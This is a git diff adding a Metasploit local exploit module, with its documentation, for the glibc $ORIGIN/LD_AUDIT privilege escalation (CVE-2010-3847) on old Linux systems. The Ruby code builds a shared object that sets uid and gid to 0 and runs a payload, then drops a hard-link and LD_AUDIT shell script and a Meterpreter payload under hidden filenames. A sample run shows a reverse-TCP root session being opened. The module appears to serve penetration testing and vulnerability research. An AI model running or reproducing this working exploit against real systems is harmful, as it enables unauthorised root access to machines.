diff --git a/documentation/modules/exploit/linux/local/glibc_origin_expansion_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_origin_expansion_priv_esc.md new file mode 100644 index 0000000000..e52e25b2b9 --- /dev/null +++ b/documentation/modules/exploit/linux/local/glibc_origin_expansion_priv_esc.md @@ -0,0 +1,75 @@ +## Description + + This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker - aka glibc `$ORIGIN` expansion vulnerability. + + +## Vulnerable Application + + glibc `ld.so` in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the `LD_AUDIT` environment variable when loading setuid executables. This allows control over the `$ORIGIN` library search path resulting in execution of arbitrary shared objects. + + This module opens a file descriptor to the specified suid executable via a hard link, then replaces the hard link with a shared object before instructing the linker to execute the file descriptor, resulting in arbitrary code execution. + + The specified setuid binary must be readable and located on the same file system partition as the specified writable directory. + + This module has been tested successfully on: + + * glibc 2.5 on CentOS 5.4 (x86_64) + * glibc 2.5 on CentOS 5.5 (x86_64) + * glibc 2.12 on Fedora 13 (i386, x86_64) + + RHEL 5 is reportedly affected, but untested. + + Some versions of `ld.so` hit a failed assertion in `dl_open_worker` causing exploitation to fail. + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. Do: `use exploit/linux/local/glibc_origin_expansion_priv_esc` + 4. Do: `set SESSION [SESSION]` + 5. Do: `check` + 6. Do: `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenarios + + ``` + msf > use exploit/linux/local/glibc_origin_expansion_priv_esc + msf exploit(linux/local/glibc_origin_expansion_priv_esc) > set session 1 + session => 1 + msf exploit(linux/local/glibc_origin_expansion_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.244:4444 + [+] The target appears to be vulnerable + [*] Using target: Linux x86 + [*] Writing '/tmp/.R5Ork' (1279 bytes) ... + [*] Writing '/tmp/.yE35DWbLd' (320 bytes) ... + [*] Writing '/tmp/.sk7Z3Vl7vJ' (207 bytes) ... + [*] Launching exploit... + [*] Sending stage (857352 bytes) to 172.16.191.138 + [*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.138:59187) at 2018-01-27 04:21:24 -0500 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : fedora13.localdomain + OS : Fedora 13 (Linux 2.6.33.3-85.fc13.i686.PAE) + Architecture : i686 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + diff --git a/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb new file mode 100644 index 0000000000..2f6c525d05 --- /dev/null +++ b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb @@ -0,0 +1,231 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/local/linux' +require 'msf/core/exploit/exe' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Linux + + def initialize(info = {}) + super(update_info(info, + 'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation", + 'Description' => %q{ + This module attempts to gain root privileges on Linux systems by abusing + a vulnerability in the GNU C Library (glibc) dynamic linker. + + glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not + properly restrict use of the LD_AUDIT environment variable when loading + setuid executables which allows control over the $ORIGIN library search + path resulting in execution of arbitrary shared objects. + + This module opens a file descriptor to the specified suid executable via + a hard link, then replaces the hard link with a shared object before + instructing the linker to execute the file descriptor, resulting in + arbitrary code execution. + + The specified setuid binary must be readable and located on the same + file system partition as the specified writable directory. + + This module has been tested successfully on glibc version 2.5 on CentOS + 5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386). + + RHEL 5 is reportedly affected, but untested. Some versions of ld.so + hit a failed assertion in dl_open_worker causing exploitation to fail. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Tavis Ormandy', # Discovery and exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Oct 18 2010', + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultTarget' => 0, + 'References' => + [ + [ 'CVE', '2010-3847' ], + [ 'BID', '44154' ], + [ 'EDB', '15274' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ], + [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ], + [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ], + [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ] + ] + )) + register_options( + [ + OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ]) + end + + def base_dir + datastore['WritableDir'] + end + + def suid_exe_path + datastore['SUID_EXECUTABLE'] + end + + def check + glibc_banner = cmd_exec 'ldd --version' + glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first + if glibc_version.eql? '' + vprint_error 'Could not determine the GNU C library version' + return CheckCode::Safe + elsif glibc_version >= Gem::Version.new('2.12.2') || + (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12')) + vprint_error "GNU C Library version #{glibc_version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "GNU C Library version #{glibc_version} is vulnerable" + + unless setuid? suid_exe_path + vprint_error "#{suid_exe_path} is not setuid" + return CheckCode::Detected + end + vprint_good "#{suid_exe_path} is setuid" + + unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true' + vprint_error("#{suid_exe_path} is not readable") + return CheckCode::Detected + end + vprint_good "#{suid_exe_path} is readable" + + CheckCode::Appears + end + + def upload_and_chmodx(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + cmd_exec "chmod +x '#{path}'" + register_file_for_cleanup path + end + + def exploit + check_status = check + + if check_status == CheckCode::Appears + print_good 'The target appears to be vulnerable' + elsif check_status == CheckCode::Detected + fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable" + else + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'" + base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'" + if suid_partition == base_partition + vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition" + else + print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition" + end + + payload_name = ".#{rand_text_alphanumeric rand(5..10)}" + payload_path = "#{base_dir}/#{payload_name}" + + # Set target + uname = cmd_exec 'uname -m' + vprint_status "System architecture is #{uname}" + if target.name.eql? 'Automatic' + case uname + when 'x86_64' + my_target = targets[2] + when /x86/, /i\d86/ + my_target = targets[1] + else + fail_with Failure::NoTarget, 'Unable to automatically select a target' + end + else + my_target = target + end + print_status "Using target: #{my_target.name}" + + cpu = nil + case my_target['Arch'] + when ARCH_X86 + cpu = Metasm::Ia32.new + when ARCH_X64 + cpu = Metasm::X86_64.new + else + fail_with Failure::NoTarget, 'Target is not compatible' + end + + # Compile shared object + so_stub = %| + extern int setuid(int); + extern int setgid(int); + extern int system(const char *__s); + + void init(void) __attribute__((constructor)); + + void __attribute__((constructor)) init() { + setuid(0); + setgid(0); + system("#{payload_path}"); + } + | + + begin + so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib) + rescue + print_error "Metasm encoding failed: #{$ERROR_INFO}" + elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" + elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" + fail_with Failure::Unknown, 'Metasm encoding failed' + end + + # Upload shared object + so_name = ".#{rand_text_alphanumeric rand(5..10)}" + so_path = "#{base_dir}/#{so_name}" + upload_and_chmodx so_path, so + + # Upload exploit + link_name = ".#{rand_text_alphanumeric rand(5..10)}" + link_path = "#{base_dir}/#{link_name}" + fd = rand(10..200) + exp = %( + rm -rf '#{link_path}' + mkdir '#{link_path}' + ln #{suid_exe_path} #{link_path}/#{link_name} + exec #{fd}< #{link_path}/#{link_name} + ls -l /proc/$$/fd/#{fd} + rm -rf '#{link_path}' + ls -l /proc/$$/fd/#{fd} + mv #{so_path} #{link_path} + LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd} + ) + + exp_name = ".#{rand_text_alphanumeric rand(5..10)}" + exp_path = "#{base_dir}/#{exp_name}" + upload_and_chmodx exp_path, exp + register_file_for_cleanup link_path + + # Upload payload + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status 'Launching exploit...' + # The echo at the end of the command is required + # else the original session may die + output = cmd_exec "#{exp_path}& echo " + output.each_line { |line| vprint_status line.chomp } + end +end